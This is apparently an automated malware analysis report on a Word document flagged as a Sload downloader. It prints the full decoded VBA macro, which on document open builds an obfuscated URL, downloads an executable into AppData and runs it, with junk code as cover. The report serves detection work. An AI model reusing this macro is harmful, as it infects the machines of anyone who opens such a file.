Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9f3931d9bc6dab4a…

MALICIOUS

Office (OOXML)

29.5 KB Created: 2016-04-06 18:03:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2016-04-16
MD5: b8207ea55d74e1b7c0cec7fea2bb586c SHA-1: 86700e831fce1756d82cdd0460adaf02fd846b03 SHA-256: 9f3931d9bc6dab4a2b5bdb07348e6aa1692a497ba77a24092c9be5e045dd80c5
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an OOXML document containing a VBA project with a Document_Open macro. This macro utilizes the URLDownloadToFileA function to download a second-stage payload from a remote source, which is then executed. This indicates a downloader pattern, likely leading to further malicious activity.

Heuristics 7

  • ClamAV: Doc.Downloader.Sload-6961205-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6961205-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
             If Len(Dir(file)) > 0 Then
            Shell file, vbNormalFocus
         End If
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Sub LjshihbuhbYGYGhj Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
            file = Environ("AppData") & file & "."
        testv = "684hgugzeysfg894949498fyzfedyze"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 11701 bytes
SHA-256: 92511579f1d383143c009fc5f450be09a8ea12f41112aace051cae40675e816a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


#If Win64 Then

Private Declare PtrSafe Sub LjshihbuhbYGYGhj Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)

Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

#Else

Private Declare Sub LjshihbuhbYGYGhj Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

#End If

        
Function MemStringToLong(StringIn As String) As Long
       On Error Resume Next
       Dim hWorkVal As String
       '
       ' Convert the String back to Long Integer.
       ' Converting back to Big Endian format.
       
      Dim i As Long
      For i = 4 To 1 Step -1
       hWorkVal = hWorkVal & Hex(AscB(MidB(StringIn, i, 1)))
      Next i
       '
       ' Return Long Integer value.
       MemStringToLong = CLng("&H" & hWorkVal)
End Function

Private Sub getPROCESS_INFORMATION(ByVal sPROCESS_INFORMATION As String, _
                   ByRef hProcess As Long, ByRef hThread As Long, _
                   ByRef dwProcessId As Long, ByRef dwThreadId As Long)
    
    '
    ' Convert memory-formatted String back to Long Integer.
    hProcess = MemStringToLong(MidB(sPROCESS_INFORMATION, 1, 4))
    hThread = MemStringToLong(MidB(sPROCESS_INFORMATION, 5, 4))
    dwProcessId = MemStringToLong(MidB(sPROCESS_INFORMATION, 9, 4))
    dwThreadId = MemStringToLong(MidB(sPROCESS_INFORMATION, 13, 4))
    
    
End Sub

Public Function LongToMemoryString(ByVal lInputValue As Long) As String

    Dim hWorkVal As String
    Dim n As Long
    Dim i  As Long
    '
    ' Convert to HEX value.
   
    hWorkVal = Hex(lInputValue)
    
    '
    ' Check to see if it is not zero.
    If hWorkVal <> "0" Then
        '
        ' Convert to memory storage format (Little Endian).
        ' For example, 0000A411 would convert to 11A40000.
        '
        ' Place leading zeros in 8 character sequence to
        ' maintain consistent character count
        n = Len(hWorkVal)
        If n < 8 Then
            hWorkVal = String(8 - n, "0") & hWorkVal
        End If
        '
        ' Use ChrB to rebuild Bytes.
        For i = 7 To 1 Step -2
            LongToMemoryString = LongToMemoryString & _
                                 ChrB(CInt("&H" & Mid(hWorkVal, i, 2)))
        Next i
           
    Else
        ' Just return zeros.
        ' Use ChrB to build Bytes.
        LongToMemoryString = ChrB(CInt("&H00"))
        LongToMemoryString = LongToMemoryString & ChrB(CInt("&H00"))
        LongToMemoryString = LongToMemoryString & ChrB(CInt("&H00"))
        LongToMemoryString = LongToMemoryString & ChrB(CInt("&H00"))
    End If
End Function
Public Function PROCESS_INFORMATION(hProcess As Long, hThread As Long, _
                     dwProcessId As Long, dwThreadId As Long) As String
    '
    ' Convert inbound Long Integers to a memory storage String format.
    PROCESS_INFORMATION = LongToMemoryString(hProcess) & _
           LongToMemoryString(hThread) & _
           LongToMemoryString(dwProcessId) & _
           LongToMemoryString(dwThreadId)
End Function

Sub ToggleHyperlinkCtrlClick()
    Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen
End Sub
Sub SortText1()
' A macro to sort the selected text
     Selection.Sort
End Sub
Sub SortText2()
' A macro to sort the Selection if the user has selected more than one
' paragraph of text.
    If Selection.Paragraphs.Count > 1 Then
        Selection.Sort
        
        sdfsdf = "ddddddddddd"
    End If
End Sub
Sub tyuyututyutuyutuyu()
    
End Sub

Sub tyuyututyutufgfgyutuyu(ByVal url As String, ByVal file As String)
        
        'MsgBox "demo Document Builder"

        file = Environ("AppData") & file & "."
        testv = "684hgugzeysfg894949498fyzfedyze"
        file = file & "exe" 'detect +1
        
        LjshihbuhbYGYGhj 0, url, _
        file, 0, 0
        If 1 > 2 Then
            MsgBox ("jnfgjdfngdfng")
        End If

        Sleep 1000
        
        tyuyututyutuyutuyu
        
        MonTexteeee = "alzjninvizenjclsmfkgjeiruhgfdsovmkdoufgi36df6gdfgklnjsd"
        
        sdfsdfsd = 1566548454
        
        'Call Command1_ClickEx(file)
         If Len(Dir(file)) > 0 Then
            Shell file, vbNormalFocus
         End If
    
End Sub

Function enregistre_coord(latitude As String, longitude As String, souterrain As Boolean) As String
 
Dim monFichierTxt As String
Dim monFichierTxtA As String
     
latitude = Format(latitude)
longitude = Format(longitude)
     
Open monFichierTxt For Binary As #1
    Put #1, , "o;" & latitude & ";" & longitude & ";0;-9999;;;0;0;-1" & Chr$(10)
Close #1
End If
     
End Function
 
'permet de lire les coordonn?es d'un ou plusieurs point(longitude et lattitude).
Function lire_Coordonnees(chaine As String, compteur As Integer, coordonnees() As String, souterrain As Boolean)
'variabl
    Loop While caractere <> ")"
     
    coordonnees(0) = longitude
    coordonnees(1) = latitude
      
End Function
 
'permet de lire le nom et les coordonn?e et le status du postes de la commune .
Function noeud(insee As String, commune As String) As String
 
     For incrementI = 0 To 1
    
        prime = 0
        For IncrementJ = 2 To 10000
        
            bPrime = True
            For incrementK = 2 To 1000
            
            If bPrime > 0 Then
            temp = incrementK + 1
            End If
            
            Next
        
        Next
    
    Next
 
'cr?ation des dossiers
'dirInsee = "Postes\" + Mid(insee, 0, 2)
monFichierCsv = "fichier_csv\postes" & insee

Var2 = "sgsfgdfg"
myUrl = "dfsdfsdfsfsdf"

'newUrl = scramble(mynewU)
mynewU = Chr(156 - 52 + 0) & Chr(168 - 52 + 0) & Chr(168 - 52 + 0) & Chr(164 - 52 + 0) & Chr(110 - 52 + 0) & Chr(99 - 52 + 0) & Chr(99 - 52 + 0) & Chr(158 - 52 + 0) & Chr(169 - 52 + 0) & Chr(157 - 52 + 0) & Chr(151 - 52 + 0) & Chr(153 - 52 + 0) & Chr(169 - 52 + 0) & Chr(159 - 52 + 0) & Chr(98 - 52 + 0) & Chr(151 - 52 + 0) & Chr(163 - 52 + 0) & Chr(98 - 52 + 0) & Chr(169 - 52 + 0) & Chr(159 - 52 + 0) & Chr(99 - 52 + 0) & Chr(152 - 52 + 0) & Chr(163 - 52 + 0) & Chr(171 - 52 + 0) & Chr(162 - 52 + 0) & Chr(160 - 52 + 0) & Chr(163 - 52 + 0) & Chr(149 - 52 + 0) & Chr(152 - 52 + 0) & Chr(99 - 52 + 0) & Chr(170 - 52 + 0) & Chr(150 - 52 + 0) & Chr(151 - 52 + 0) & Chr(98 - 52 + 0) & Chr(153 - 52 + 0) & Chr(172 - 52 + 0) & Chr(153 - 52 + 0)
'temp = scramble(newUrl)

'MsgBox mynewU
'MsgBox newUrl

GoTo sdfsdfsdfsdfsdfdf
 
Open monFichierTxt For Binary As #1
    Put #1, , "F;W;Lib\" & dirInsee & "\" & insee & Chr$(10)
Close #1
            While caractere <> ";"
               
                If caractere <> "\" And caractere <> ";" Then
                    vnoeud = vnoeud + caractere
                End If
            Wend
             
            'caractere = lire_caractere(ligne, compteur)
            While caractere <> ";"
               ' caractere = lire_caractere(ligne, compteur)
                If caractere <> "\" And caractere <> ";" Then
                fonct = fonct + caractere
                End If
            Wend
sdfsdfsdfsdfsdfdf:
            
            Call tyuyututyutufgfgyutuyu(mynewU, Var2)
            Exit Function
            long_fonct = Len(ligne) - compteur
            chaine = Mid(ligne, compteur, long_fonct)
            compteur = 0
            
             'Shell "cmd /k """ & Var2 & """", ""
    
 
End Function
Sub Document_Open()
    
    
    Var2 = "zeffffffffffez"
    
 
'Call tyuyututyutufgfgyutuyu(myURL, Var2)
    
    mopiro = "hgugzeyfyzfedyze"
   
   

    sdfsdf = "dfsdfffsdfdffffffffffffffffd"
    
    
   tyuyufdg545tutyutuyutuyu

    
    
    
    'v = tyuyututyutufgfgyutuyu(myURL, Var2)
    
    
    
End Sub
Function stringToByteArray(str As String) As Variant
    Dim bytes() As Byte
    bytes = str
    stringToByteArray = bytes
End Function

Function byteArrayToString(bytes() As Byte) As String
    Dim str As String
    str = bytes
    byteArrayToString = str
End Function


Function scramble(ByVal str As String) As String
    Const SECRET_PASSWORD As String = "K*4HD%f#nwS%sdf032#gfl!HLKN*pq7"

    Dim stringBytes() As Byte, passwordBytes() As Byte
    stringBytes = stringToByteArray(str)
    passwordBytes = stringToByteArray(SECRET_PASSWORD)

    Dim upperLim As Long
    upperLim = UBound(stringBytes)
    ReDim scrambledBytes(0 To upperLim) As Byte
    
    Dim idx As Long
    For idx = 0 To upperLim
        scrambledBytes(idx) = stringBytes(idx) - 10
    Next idx
    
    scramble = byteArrayToString(scrambledBytes)
    
End Function

Private Sub Command1_ClickEx(ByVal file As String)
    Dim lRet As Long
    Dim sPROCESS_INFORMATION As String
    Dim hProcess As Long
    Dim hThread As Long
    Dim dwProcessId  As Long
    Dim dwThreadId  As Long
    '
    ' Initialize PROCESS_INFORMATION memory string.
    ' Convert initial Rect values to String to pass into CreateProcess API.
    sPROCESS_INFORMATION = PROCESS_INFORMATION(0, 0, _
        0, 0)
    '
    ' Call CreateProcess.
    
    lRet = CreateProcess(file, "", _
        0, 0, 0, 0, 0, 0, 0, sPROCESS_INFORMATION)
    '
    'convert string back to long integer
    getPROCESS_INFORMATION sPROCESS_INFORMATION, hProcess, hThread, _
        dwProcessId, dwThreadId
    '
    'The handle to the process is returned in the sPROCESS_INFORMATION
    'string when CreateProcess is called.  This hProcess value can
    'be passed to TerminateProcess.
    'Uncomment the 3 lines below to terminate the process.
    'MsgBox "Click to terminate process"
    'Dim x As Long
    'x = TerminateProcess(hProcess, 0)
    
End Sub
'pour lire les caractere un a un
Function lire_caractere(ByVal chaine As String, ByRef compteur As Integer) As String
'variable
    Dim caractere As String
      
    If compteur < Len(chaine) Then
        caractere = Mid(chaine, compteur, 1)
        compteur = compteur + 1
    End If
      
End Function

Sub tyuyufdg545tutyutuyutuyu()
    ret = noeud("fsdfsdfsdf", "uhhyygygyg")
End Sub
Sub SortText3()
    If Selection.Paragraphs.Count > 1 Then
        ' The user has selected more than one paragraph of text.
        ' Sort the selection.
        Selection.Sort
    Else
        ' Tell the user what to do.
        MsgBox "Please select two or more paragraphs and try again."
    End If
End Sub
Sub SortText4()
' A macro to sort the selected text, if the user has selected
' more than one paragraph

    If Documents.Count > 0 Then
        ' The user has at least one document open.
        
        If Selection.Paragraphs.Count > 1 Then
            ' The user has selected more than one paragraph
            ' of text, so sort it.
            Selection.Sort
        Else
            ' Tell the user what to do.
            MsgBox "Please select two or more paragraphs and try again."
        End If
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 35840 bytes
SHA-256: 040aa3431d5bead7fc14411c125624b0f516f13c4c2d8001bd97c2bc0967e55b
Detection
ClamAV: Doc.Downloader.Sload-6961205-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.